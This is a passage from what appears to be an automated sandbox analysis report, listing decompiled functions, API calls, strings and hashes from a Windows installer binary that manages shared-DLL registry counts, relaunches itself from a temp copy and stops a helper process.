			}

0x00452aa1
0x00452aa3
0x00452aab
0x00452aae
0x00452ab1
0x00452ab4
0x00452ab7
0x00452aba
0x00452abf
0x00452ac0
0x00452ac5
0x00452ac8
0x00452acb
0x00452ae6
0x00452aeb
0x00452d40
0x00452d42
0x00452d45
0x00452d48
0x00452d55
0x00452d5d
0x00452d6f
0x00452af1
0x00452af3
0x00452b05
0x00452b0d
0x00452b15
0x00452b22
0x00452b2f
0x00452b37
0x00452b41
0x00452b49
0x00452b51
0x00452b59
0x00452b61
0x00452b6e
0x00452b76
0x00452b77
0x00452b86
0x00452b8b
0x00452b8b
0x00452b92
0x00452b93
0x00452b98
0x00452b9b
0x00452bc0
0x00452bcc
0x00452bd2
0x00452bd7
0x00452bd8
0x00452bdd
0x00452be0
0x00452be6
0x00452be7
0x00452c05
0x00452c0f
0x00452c12
0x00452c12
0x00452be9
0x00452be9
0x00452bec
0x00452c1c
0x00452c46
0x00452c46
0x00452bee
0x00452bef
0x00452c4c
0x00452c73
0x00452c75
0x00452c75
0x00452c73
0x00452bef
0x00452bec
0x00452c7b
0x00452c7e
0x00452c91
0x00452c9d
0x00452ca4
0x00452cc1
0x00452cc2
0x00452cd4
0x00452cdc
0x00452ce6
0x00452cfd
0x00452cc4
0x00452cca
0x00452d1d
0x00452d1d
0x00452cca
0x00452ca6
0x00452ca6
0x00452cb7
0x00452cb7
0x00452d24
0x00452d27
0x00452d2a
0x00452d38
0x00452c93
0x00452c93
0x00000000
0x00452c93
0x00452bc2
0x00452bc2
0x00000000
0x00452bc2
0x00452bc0

APIs

Part of subcall function 0042DC1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047A343,?,00000001,?,?,0047A343,?,00000001,00000000), ref: 0042DC38

RegQueryValueExA.ADVAPI32(00457CAE,00000000,00000000,?,00000000,?,00000000,00452D39,?,00457CAE,00000003,00000000,00000000,00452D70), ref: 00452BB9

Part of subcall function 0042E638: FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,0045163F,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E657

RegQueryValueExA.ADVAPI32(00457CAE,00000000,00000000,00000000,?,00000004,00000000,00452C83,?,00457CAE,00000000,00000000,?,00000000,?,00000000), ref: 00452C3D
RegQueryValueExA.ADVAPI32(00457CAE,00000000,00000000,00000000,?,00000004,00000000,00452C83,?,00457CAE,00000000,00000000,?,00000000,?,00000000), ref: 00452C6C

Strings

Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00452AD7
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00452B10
, xrefs: 00452B2A
RegOpenKeyEx, xrefs: 00452B3C

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: QueryValue$FormatMessageOpen
String ID: $RegOpenKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
API String ID: 2812809588-1577016196
Opcode ID: 3032b77bd693c941fb84b0cde282a338af4145831cd572e8a1a18070b6d836f0
Instruction ID: 11c75cf770e070d662cfd75468ba589839849d35c86e5109ae12d43e25aff3ec
Opcode Fuzzy Hash: 3032b77bd693c941fb84b0cde282a338af4145831cd572e8a1a18070b6d836f0
Instruction Fuzzy Hash: C0912475900208ABDB05DF95D942BDEB7BCEB09305F10446BF900F7292D7B9AE098B69

Uniqueness

Uniqueness Score: -1.00%

Function 004564C8 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 70
sleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004564C8(intOrPtr __eax, void* __edx) {
				long _v12;
				long _v16;
				void* __ebx;
				void* __esi;
				void* _t44;
				void* _t50;
				intOrPtr _t51;
				DWORD* _t52;

				_t19 = __eax;
				_t52 =  &_v12;
				_t44 = __edx;
				_t51 = __eax;
				if( *((char*)(__eax + 4)) == 0) {
					L11:
					return _t19;
				}
				 *((char*)(__eax + 5)) = 1;
				_v16 =  *((intOrPtr*)(__eax + 0x10));
				_v12 = 0;
				E00455538("Stopping 64-bit helper process. (PID: %u)", __edx, 0,  &_v16, _t50, __eax);
				CloseHandle( *(_t51 + 0xc));
				 *(_t51 + 0xc) = 0;
				while(WaitForSingleObject( *(_t51 + 8), 0x2710) == 0x102) {
					E00455348("Helper isn\'t responding; killing it.", _t44, _t50, _t51);
					TerminateProcess( *(_t51 + 8), 1);
				}
				if(GetExitCodeProcess( *(_t51 + 8), _t52) == 0) {
					E00455348("Helper process exited, but failed to get exit code.", _t44, _t50, _t51);
				} else {
					if( *_t52 != 0) {
						_v16 =  *_t52;
						_v12 = 0;
						E00455538("Helper process exited with failure code: 0x%x", _t44, 0,  &_v16, _t50, _t51);
					} else {
						E00455348("Helper process exited.", _t44, _t50, _t51);
					}
				}
				CloseHandle( *(_t51 + 8));
				 *(_t51 + 8) = 0;
				_t19 = 0;
				 *((intOrPtr*)(_t51 + 0x10)) = 0;
				 *((char*)(_t51 + 4)) = 0;
				if(_t44 == 0) {
					goto L11;
				} else {
					Sleep(0xfa);
					return 0;
				}
			}

0x004564c8
0x004564ca
0x004564cd
0x004564cf
0x004564d5
0x004565a7
0x004565a7
0x004565a7
0x004564db
0x004564e2
0x004564e6
0x004564f6
0x004564ff
0x00456506
0x00456520
0x00456510
0x0045651b
0x0045651b
0x00456541
0x00456578
0x00456543
0x00456547
0x00456558
0x0045655c
0x0045656c
0x00456549
0x0045654e
0x0045654e
0x00456547
0x00456581
0x00456588
0x0045658b
0x0045658d
0x00456590
0x00456596
0x00000000
0x00456598
0x0045659d
0x00000000
0x0045659d

APIs

CloseHandle.KERNEL32(?), ref: 004564FF
TerminateProcess.KERNEL32(?,00000001,?,00002710,?), ref: 0045651B
WaitForSingleObject.KERNEL32(?,00002710,?), ref: 00456529
GetExitCodeProcess.KERNEL32 ref: 0045653A
CloseHandle.KERNEL32(?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 00456581
Sleep.KERNEL32(000000FA,?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 0045659D

Strings

Helper process exited, but failed to get exit code., xrefs: 00456573
Helper process exited with failure code: 0x%x, xrefs: 00456567
Stopping 64-bit helper process. (PID: %u), xrefs: 004564F1
Helper process exited., xrefs: 00456549
Helper isn't responding; killing it., xrefs: 0045650B

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseHandleProcess$CodeExitObjectSingleSleepTerminateWait
String ID: Helper isn't responding; killing it.$Helper process exited with failure code: 0x%x$Helper process exited, but failed to get exit code.$Helper process exited.$Stopping 64-bit helper process. (PID: %u)
API String ID: 3355656108-1243109208
Opcode ID: 5107001113432a70144249b7a5c8ba54557a1d21b38346966f1c794cd8b4460b
Instruction ID: 924403a9692a20c31a41506dc372cce7d05dc03ffe61d55cfc841da12e7d3803
Opcode Fuzzy Hash: 5107001113432a70144249b7a5c8ba54557a1d21b38346966f1c794cd8b4460b
Instruction Fuzzy Hash: 9F21AF70644B00AAC720EB7DD44575BB6D49F08305F81C92EB89AC7297E67CE8488B2A

Uniqueness

Uniqueness Score: -1.00%

Function 00452754 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 228
registryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00452754(void* __ebx, signed int __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _v5;
				void* _v12;
				char _v16;
				int _v20;
				char _v24;
				int _v28;
				int _v32;
				char _v36;
				char* _v40;
				char _v44;
				char* _v48;
				char _v52;
				char _v56;
				char _v60;
				intOrPtr _v64;
				char* _v68;
				char _v72;
				char _v76;
				void* _t81;
				void* _t82;
				signed int _t92;
				void* _t96;
				void* _t100;
				void* _t127;
				void* _t132;
				void* _t164;
				intOrPtr _t186;
				intOrPtr _t188;
				void* _t201;
				void* _t203;
				void* _t204;
				intOrPtr _t205;

				_t203 = _t204;
				_t205 = _t204 + 0xffffffb8;
				_v44 = 0;
				_v56 = 0;
				_v72 = 0;
				_v76 = 0;
				_v36 = 0;
				_v5 = __ecx;
				_t201 = __edx;
				_push(_t203);
				_push(0x4529ef);
				_push( *[fs:edx]);
				 *[fs:edx] = _t205;
				_t82 = E0042DBE4(_t81, "Software\\Microsoft\\Windows\\CurrentVersion\\SharedDLLs", 0x80000002,  &_v16,  &_v12, 0, 3, 0, 0, 0);
				_t170 = _t82;
				if(_t82 != 0) {
					E00451920(0x80000002,  &_v56);
					_v52 = _v56;
					_v48 = "Software\\Microsoft\\Windows\\CurrentVersion\\SharedDLLs";
					E00450374(0x3d, 1,  &_v52,  &_v44);
					E00403594( &_v44, 0x452a80);
					_push( &_v44);
					_v68 = "RegCreateKeyEx";
					E00406D00(_t170,  &_v72);
					_v64 = _v72;
					E0042E638(_t170,  &_v76);
					_v60 = _v76;
					E00450374(0x34, 2,  &_v68,  &_v56);
					_pop(_t164);
					E00403594(_t164, _v56);
					E00408BA4(_v44, 1);
					E00403134();
				}
				_v40 = E00403750(_t201);
				_v24 = 0;
				_v32 = 4;
				_push(_t203);
				_push(0x45292b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t205;
				if(RegQueryValueExA(_v12, _v40, 0,  &_v28, 0,  &_v20) == 0) {
					_t127 = _v28 - 1;
					if(_t127 == 0) {
						if(E0042DB4C() != 0) {
							_v24 = E00406D30(_v36,  &_v36);
							_v32 = 1;
						}
					} else {
						_t132 = _t127 - 2;
						if(_t132 == 0) {
							if(_v20 >= 1 && _v20 <= 4) {
								if(RegQueryValueExA(_v12, _v40, 0, 0,  &_v24,  &_v20) != 0) {
									E00408B78();
								}
								_v32 = 3;
							}
						} else {
							if(_t132 == 1) {
								_v20 = 4;
								if(RegQueryValueExA(_v12, _v40, 0, 0,  &_v24,  &_v20) != 0) {
									E00408B78();
								}
							}
						}
					}
				}
				_t92 = 0;
				_pop(_t186);
				 *[fs:eax] = _t186;
				if(_v24 < 0) {
					_t92 = 0;
					_v24 = 0;
				}
				if(((_t92 & 0xffffff00 | _v24 == 0x00000000) & _v5) != 0) {
					_v24 = _v24 + 1;
				}
				_v24 = _v24 + 1;
				_t96 = _v32 - 1;
				if(_t96 == 0) {
					E00406D00(_v24,  &_v36);
					_t100 = E0040358C(_v36);
					RegSetValueExA(_v12, _v40, 0, _v32, E00403750(_v36), _t100 + 1);
				} else {
					if(_t96 + 0xfffffffe - 2 < 0) {
						RegSetValueExA(_v12, _v40, 0, _v32,  &_v24, 4);
					}
				}
				RegCloseKey(_v12);
				_pop(_t188);
				 *[fs:eax] = _t188;
				_push(0x4529f6);
				E00403438( &_v76, 2);
				E00403418( &_v56);
				E00403418( &_v44);
				return E00403418( &_v36);
			}

0x00452755
0x00452757
0x0045275f
0x00452762
0x00452765
0x00452768
0x0045276b
0x0045276e
0x00452771
0x00452775
0x00452776
0x0045277b
0x0045277e
0x0045279d
0x004527a2
0x004527a6
0x004527b8
0x004527c0
0x004527c8
0x004527d5
0x004527e2
0x004527ea
0x004527f4
0x004527fc
0x00452804
0x0045280c
0x00452814
0x00452821
0x00452829
0x0045282a
0x00452839
0x0045283e
0x0045283e
0x0045284a
0x0045284f
0x00452852
0x0045285b
0x0045285c
0x00452861
0x00452864
0x00452882
0x0045288b
0x0045288c
0x004528ab
0x004528b5
0x004528b8
0x004528b8
0x0045288e
0x0045288e
0x00452891
0x004528c5
0x004528e8
0x004528ea
0x004528ea
0x004528ef
0x004528ef
0x00452893
0x00452894
0x004528f8
0x0045291a
0x0045291c
0x0045291c
0x0045291a
0x00452894
0x00452891
0x0045288c
0x00452921
0x00452923
0x00452926
0x0045293e
0x00452940
0x00452942
0x00452942
0x0045294f
0x00452951
0x00452951
0x00452954
0x0045295a
0x0045295b
0x0045296d
0x00452975
0x00452993
0x0045295d
0x00452963
0x004529ae
0x004529ae
0x00452963
0x004529b7
0x004529be
0x004529c1
0x004529c4
0x004529d1
0x004529d9
0x004529e1
0x004529ee

APIs

Part of subcall function 0042DBE4: RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 0042DC10

RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00000000,0045292B,?,00000000,004529EF), ref: 0045287B
RegCloseKey.ADVAPI32(?,?,?,00000000,00000004,00000000,00000001,?,00000000,?,00000000,0045292B,?,00000000,004529EF), ref: 004529B7

Part of subcall function 0042E638: FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,0045163F,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E657

Strings

Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00452793
, xrefs: 004527DD
RegCreateKeyEx, xrefs: 004527EF
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 004527C3

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseCreateFormatMessageQueryValue
String ID: $RegCreateKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
API String ID: 2481121983-1280779767
Opcode ID: 5fa9abd6514dbdc13b437a9a936fa25f85297bb33b74e7909c5b97379e50ea20
Instruction ID: e5b2b05114a45b6ea458d1843e2fc27f939523f4e2a6c83868d4647a0cfc885a
Opcode Fuzzy Hash: 5fa9abd6514dbdc13b437a9a936fa25f85297bb33b74e7909c5b97379e50ea20
Instruction Fuzzy Hash: 1F8110B5A00209AFDB01DFD5C941BEEB7B8EB49305F50452BF900F7282D778AE058B69

Uniqueness

Uniqueness Score: -1.00%

Function 0048C0BC Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 141
fileCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E0048C0BC(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				char _v8;
				struct HWND__* _v12;
				void* _v16;
				char _v20;
				char _v24;
				struct HWND__* _v28;
				char _v32;
				char _v36;
				char _v40;
				CHAR* _t38;
				intOrPtr _t39;
				int _t41;
				struct HINSTANCE__* _t45;
				intOrPtr _t50;
				void* _t63;
				struct HWND__* _t71;
				intOrPtr _t75;
				intOrPtr _t94;
				intOrPtr _t96;
				void* _t100;
				void* _t101;
				intOrPtr _t102;

				_t98 = __esi;
				_t97 = __edi;
				_t82 = __ecx;
				_t81 = __ebx;
				_t100 = _t101;
				_t102 = _t101 + 0xffffffdc;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v20 = 0;
				_v40 = 0;
				_v8 = 0;
				_push(_t100);
				_push(0x48c28d);
				_push( *[fs:eax]);
				 *[fs:eax] = _t102;
				E0042D830( &_v20, __ebx, __ecx, __edi, __esi);
				if(E00451C2C(_v20, _t81,  &_v8, _t97, _t98) == 0) {
					_push(_t100);
					_push( *[fs:eax]);
					 *[fs:eax] = _t102;
					E00451F7C(0, _t81, _v8, _t97, _t98);
					_pop(_t96);
					_t82 = 0x48c119;
					 *[fs:eax] = _t96;
				}
				_t38 = E00403750(_v8);
				_t39 =  *0x490310; // 0x0
				_t41 = CopyFileA(E00403750(_t39), _t38, 0);
				_t105 = _t41;
				if(_t41 == 0) {
					_t75 =  *0x48fcf0; // 0x230b524
					E0048B960(_t75, _t81, _t82, _t97, _t98, _t105);
				}
				SetFileAttributesA(E00403750(_v8), 0x80);
				_t45 =  *0x48f014; // 0x400000
				_v12 = CreateWindowExA(0, "STATIC", 0x48c29c, 0, 0, 0, 0, 0, 0, 0, _t45, 0);
				 *0x490338 = SetWindowLongA(_v12, 0xfffffffc, E0048BB10);
				_push(_t100);
				_push(0x48c260);
				_push( *[fs:eax]);
				 *[fs:eax] = _t102;
				_t50 =  *0x48f628; // 0x22f2410
				SetWindowPos( *(_t50 + 0x20), 0, 0, 0, 0, 0, 0x97);
				E0042D308(0, _t81,  &_v40, _t97, _t98);
				_v36 = _v40;
				_v32 = 0xb;
				_v28 = _v12;
				_v24 = 0;
				E0040788C("/SECONDPHASE=\"%s\" /FIRSTPHASEWND=$%x ", 1,  &_v36,  &_v20);
				_push( &_v20);
				E0042D178( &_v40);
				_pop(_t63);
				E00403594(_t63, _v40);
				_v16 = E0048BA08(_v8, _t81, _v20, _t97, _t98, 0);
				do {
				} while (E0048BAD4() == 0 && MsgWaitForMultipleObjects(1,  &_v16, 0, 0xffffffff, 0xff) == 1);
				CloseHandle(_v16);
				_pop(_t94);
				 *[fs:eax] = _t94;
				_push(E0048C267);
				_t71 = _v12;
				_push(_t71);
				L00405E54();
				return _t71;
			}

0x0048c0bc
0x0048c0bc
0x0048c0bc
0x0048c0bc
0x0048c0bd
0x0048c0bf
0x0048c0c2
0x0048c0c3
0x0048c0c4
0x0048c0c7
0x0048c0ca
0x0048c0cd
0x0048c0d2
0x0048c0d3
0x0048c0d8
0x0048c0db
0x0048c0e1
0x0048c0f3
0x0048c0f7
0x0048c0fd
0x0048c100
0x0048c10a
0x0048c111
0x0048c113
0x0048c114
0x0048c114
0x0048c128
0x0048c12e
0x0048c139
0x0048c13e
0x0048c140
0x0048c142
0x0048c147
0x0048c147
0x0048c15a
0x0048c161
0x0048c186
0x0048c199
0x0048c1a0
0x0048c1a1
0x0048c1a6
0x0048c1a9
0x0048c1bb
0x0048c1c4
0x0048c1d2
0x0048c1da
0x0048c1dd
0x0048c1e4
0x0048c1e7
0x0048c1f8
0x0048c200
0x0048c204
0x0048c20c
0x0048c20d
0x0048c21d
0x0048c220
0x0048c225
0x0048c244
0x0048c24b
0x0048c24e
0x0048c251
0x0048c256
0x0048c259
0x0048c25a
0x0048c25f

APIs

Part of subcall function 00451C2C: CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,0048C28D,_iu,?,00000000,00451D66), ref: 00451D1B
Part of subcall function 00451C2C: CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,0048C28D,_iu,?,00000000,00451D66), ref: 00451D2B

CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 0048C139
SetFileAttributesA.KERNEL32(00000000,00000080,00000000,0048C28D), ref: 0048C15A
CreateWindowExA.USER32 ref: 0048C181
SetWindowLongA.USER32(?,000000FC,0048BB10), ref: 0048C194
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,0048C260,?,?,000000FC,0048BB10,00000000,STATIC,0048C29C), ref: 0048C1C4
MsgWaitForMultipleObjects.USER32 ref: 0048C238
CloseHandle.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,0048C260,?,?,000000FC,0048BB10,00000000), ref: 0048C244

Part of subcall function 00451F7C: WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00452063

73B09840.USER32(?,0048C267,00000000,00000000,00000000,00000000,00000000,00000097,00000000,0048C260,?,?,000000FC,0048BB10,00000000,STATIC), ref: 0048C25A

Strings

STATIC, xrefs: 0048C17A
/SECONDPHASE="%s" /FIRSTPHASEWND=$%x , xrefs: 0048C1F3

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: FileWindow$CloseCreateHandle$AttributesB09840CopyLongMultipleObjectsPrivateProfileStringWaitWrite
String ID: /SECONDPHASE="%s" /FIRSTPHASEWND=$%x $STATIC
API String ID: 2159909472-2312673372
Opcode ID: 0c1b50eb020d8e9fe9cc56388ab65d9b55cb3247c7411c20f999a94582d63330
Instruction ID: 7839bcae197430feb5c610349d91d1663fd62cba91bc810cc279294322e66c48
Opcode Fuzzy Hash: 0c1b50eb020d8e9fe9cc56388ab65d9b55cb3247c7411c20f999a94582d63330
Instruction Fuzzy Hash: 98414471A04208AFDB00FBA5DC92F9E77B8EB09714F514976F500F72D2D7799A048B68

Uniqueness

Uniqueness Score: -1.00%

Function 0042E948 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 82libraryloaderCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 0042E954
GetModuleHandleA.KERNEL32(user32.dll), ref: 0042E968
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 0042E975
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0042E982
GetWindowRect.USER32 ref: 0042E9CE
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D,?,00000000), ref: 0042EA0C

Strings

GetMonitorInfoA, xrefs: 0042E97C
user32.dll, xrefs: 0042E963
(, xrefs: 0042E9AD
MonitorFromWindow, xrefs: 0042E96F

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Window$AddressProc$ActiveHandleModuleRect
String ID: ($GetMonitorInfoA$MonitorFromWindow$user32.dll
API String ID: 2610873146-3407710046
Opcode ID: 3f5603775b4fc10dd0556651258305c547f48fbc32dd654b42b6ca2bcfb141a2
Instruction ID: 0af0b40728300fdaf03afadc29c4b727e2047a8f6fac2f4a7bcbc8845938fe06
Opcode Fuzzy Hash: 3f5603775b4fc10dd0556651258305c547f48fbc32dd654b42b6ca2bcfb141a2
Instruction Fuzzy Hash: 6321D7717046145BD710DA65EC82F3F37D8EB84710F09062EF944AB3D2DA79EC048B59

Uniqueness

Uniqueness Score: -1.00%

Function 0045D454 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 82libraryloaderCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 0045D460
GetModuleHandleA.KERNEL32(user32.dll), ref: 0045D474
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 0045D481
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0045D48E
GetWindowRect.USER32 ref: 0045D4DA
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D,?,00000000), ref: 0045D518

Strings

(, xrefs: 0045D4B9
GetMonitorInfoA, xrefs: 0045D488
user32.dll, xrefs: 0045D46F
MonitorFromWindow, xrefs: 0045D47B

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Window$AddressProc$ActiveHandleModuleRect
String ID: ($GetMonitorInfoA$MonitorFromWindow$user32.dll
API String ID: 2610873146-3407710046
Opcode ID: ca5f80964ff50da5a68bbe4f9b231518c354eaa71f385e3320ed60a4bd4b41d8
Instruction ID: e48a21de311d9bf3012ada18c5441f82a1ad829ba730a76b1587e0eeea20ad6e
Opcode Fuzzy Hash: ca5f80964ff50da5a68bbe4f9b231518c354eaa71f385e3320ed60a4bd4b41d8
Instruction Fuzzy Hash: 1B219576A016086BD710DAA48C45F3F3795DF88719F05062EFD84DB393E678DD088B59

Uniqueness

Uniqueness Score: -1.00%

Function 0044C770 Relevance: 17.0, APIs: 11, Instructions: 477
windowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0044C770(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, signed int _a4) {
				void* _v8;
				intOrPtr _v12;
				signed int _v13;
				int _v20;
				int _v24;
				signed int _v28;
				int _v32;
				signed int _v36;
				long _v40;
				signed int _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v56;
				int _v60;
				char _v64;
				int _v68;
				void _v72;
				struct tagRECT _v88;
				intOrPtr _v96;
				void _v104;
				struct tagRECT _v120;
				char _v124;
				void* _t256;
				signed int _t263;
				void* _t266;
				signed int _t278;
				int _t279;
				long _t327;
				long _t332;
				intOrPtr _t337;
				int _t339;
				void* _t350;
				void* _t352;
				void* _t406;
				signed int _t411;
				signed int _t412;
				int _t414;
				signed int _t431;
				intOrPtr _t452;
				int _t453;
				signed int _t455;
				signed int _t480;
				signed int _t481;
				intOrPtr _t482;
				intOrPtr _t489;
				signed int _t502;
				signed int _t503;
				intOrPtr _t504;
				signed int _t511;
				int _t514;
				void* _t522;
				long _t531;
				void* _t536;
				intOrPtr _t538;
				void* _t550;
				char _t554;
				void* _t560;

				_t482 = __edx;
				_t535 = _t536;
				_push(__edi);
				_v124 = 0;
				_t256 = memcpy( &_v72, __ecx, 4 << 2);
				_t538 = _t536 + 0xffffffffffffff94;
				_t458 = 0;
				_v12 = _t482;
				_v8 = _t256;
				_push(_t536);
				_push(0x44cd70);
				_push( *[fs:eax]);
				 *[fs:eax] = _t538;
				if( *((char*)(_v8 + 0x165)) != 0 &&  *((char*)(_v8 + 0x174)) == 0) {
					E0044DED0(_v8);
					 *((char*)(_v8 + 0x174)) = 1;
				}
				_t522 = E0044D2C4(_v8);
				if( *0x48f740 == 0) {
					__eflags = 0;
					_v44 = 0;
				} else {
					_v44 = SendMessageA(E004181C4(_v8), 0x129, 0, 0);
				}
				if( *((char*)(_v8 + 0x38)) == 0 ||  *((char*)(_t522 + 4)) == 0) {
					_t263 = 1;
				} else {
					_t263 = 0;
				}
				_v13 = _t263;
				_t531 =  *(_v8 + 0x104);
				if( *(_v8 + 0x16c) != 0) {
					_t546 = _a4 & 0x00000001;
					if((_a4 & 0x00000001) != 0) {
						E0041A690( *((intOrPtr*)(_t531 + 0x14)),  *((intOrPtr*)(_v8 + 0x48)), _t546);
					}
				}
				_t266 = _v8;
				_t547 =  *((char*)(_t266 + 0x165));
				if( *((char*)(_t266 + 0x165)) == 0) {
					L31:
					if( *((char*)(_t522 + 8)) == 0) {
						L62:
						E0041AC44(_t531, _t458,  &_v72, _t522);
						_v72 = _v72 + 1;
						_v40 = GetTextColor(E0041B078(_t531));
						if(_v13 == 0) {
							__eflags =  *(_v8 + 0x16c);
							if(__eflags != 0) {
								_t327 = E0041A03C( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x44)) + 0x10)));
								SetTextColor(E0041B078(_t531), _t327);
							}
						} else {
							if( *(_v8 + 0x16c) == 0 && (_a4 & 0x00000001) == 0) {
								_t332 = GetSysColor(0x11);
								SetTextColor(E0041B078(_t531), _t332);
							}
						}
						_t573 =  *((intOrPtr*)(_t522 + 0x14));
						if( *((intOrPtr*)(_t522 + 0x14)) == 0) {
							_t199 =  &_v64;
							 *_t199 = _v64 -  *((intOrPtr*)(_v8 + 0x158));
							__eflags =  *_t199;
						} else {
							_v48 = E0041AF10(_t531, _t458,  *((intOrPtr*)(_t522 + 0x14)), _t522, _t573) +  *((intOrPtr*)(_v8 + 0x158)) +  *((intOrPtr*)(_v8 + 0x158));
							memcpy( &_v104,  &_v72, 4 << 2);
							_t538 = _t538 + 0xc;
							_t522 = _t522;
							_t531 = _t531;
							_v104 = _v96 - _v48 +  *((intOrPtr*)(_v8 + 0x158));
							E0044C66C( *((intOrPtr*)(_t522 + 0x14)), 0x924,  &_v104,  *(_v8 + 0x16c) & _v13, _t535);
							_v64 = _v64 - _v48;
						}
						if( *(_v8 + 0x16c) == 0) {
							_v72 = _v72 + 1;
						}
						_t278 = _v60 - _v68 -  *((intOrPtr*)(_t522 + 0x38));
						_t279 = _t278 >> 1;
						if(_t278 < 0) {
